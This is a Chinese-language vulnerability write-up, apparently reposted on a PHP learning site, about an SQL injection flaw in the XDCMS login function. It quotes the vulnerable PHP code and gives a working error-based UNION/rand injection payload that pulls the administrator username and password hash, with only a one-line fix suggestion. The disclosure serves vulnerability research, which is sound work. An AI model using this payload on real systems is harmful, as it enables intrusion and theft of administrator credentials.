来源:自学PHP网 时间:2015-04-15 14:59 作者: 阅读:次
[导读] 最新版XDCMS企业管理系统,由于过滤不严,可绕过限制,导致SQL注入注入在XDCMS企业管理系统的登录功能处,来看看 system modules member index php文件: 登录时会调用login_save进行登录验证,问...
最新版XDCMS企业管理系统,由于过滤不严,可绕过限制,导致SQL注入
注入在XDCMS企业管理系统的登录功能处,来看看\system\modules\member\index.php文件: 登录时会调用login_save进行登录验证,问题就出在index.php的login_save函数处:
public function login_save(){ $username = safe_html($_POST['username']);//获取UserName,通过safe_html进行过滤,这里存在缺陷,可绕过限制,进行注入 $password = safe_html($_POST['password']); if(empty($username)||empty($password)){ showmsg(C('user_pass_empty'),'-1'); } $sql="select * from ".DB_PRE."member where `username`='$username'";//通过绕过限制,在这里进行注入 if($this->mysql->num_rows($sql)==0){ showmsg(C('member_not_exist'),'-1'); } $password=md5(md5($password)); $rs=$this->mysql->get_one($sql); if($password!=$rs['password']){ showmsg(C('password_error'),'-1'); } if($rs['is_lock']==1){ showmsg(C('user_lock'),'-1'); } $logins=$rs["logins"]+1; $ip=safe_replace(safe_html(getip())); $this->mysql->db_update("member","`last_ip`='".$ip."',`last_time`=".datetime().",`logins`=".$logins,"`username`='$username'"); Cookie::_setcookie(array('name'=>'member_user','value'=>$username)); Cookie::_setcookie(array('name'=>'member_userid','value'=>$rs['userid'])); Cookie::_setcookie(array('name'=>'member_groupid','value'=>$rs['groupid'])); unset($rs); showmsg(C("login_success"),"index.php?m=member"); }
由于在获取UserName时,通过safe_html进行过滤,safe_html只是按照小写过滤了常规的SQL注入敏感词以及=和*,但只这里存在缺陷,可绕过限制,进行注入。
我们使用小写SQL语句,并且不实用=和*
在登录是,抓包,在UserName的值后面增加一下内容:
' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 FROM (SELECT count(1),concat(round(rand(0)),(SELECT concat(username,0x23,password) FROM c_admin LIMIT 0,1))a FROM information_schema.tables GROUP by a)b#
即可注入出管理员的用户名密码
修复方案:
过滤严格
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com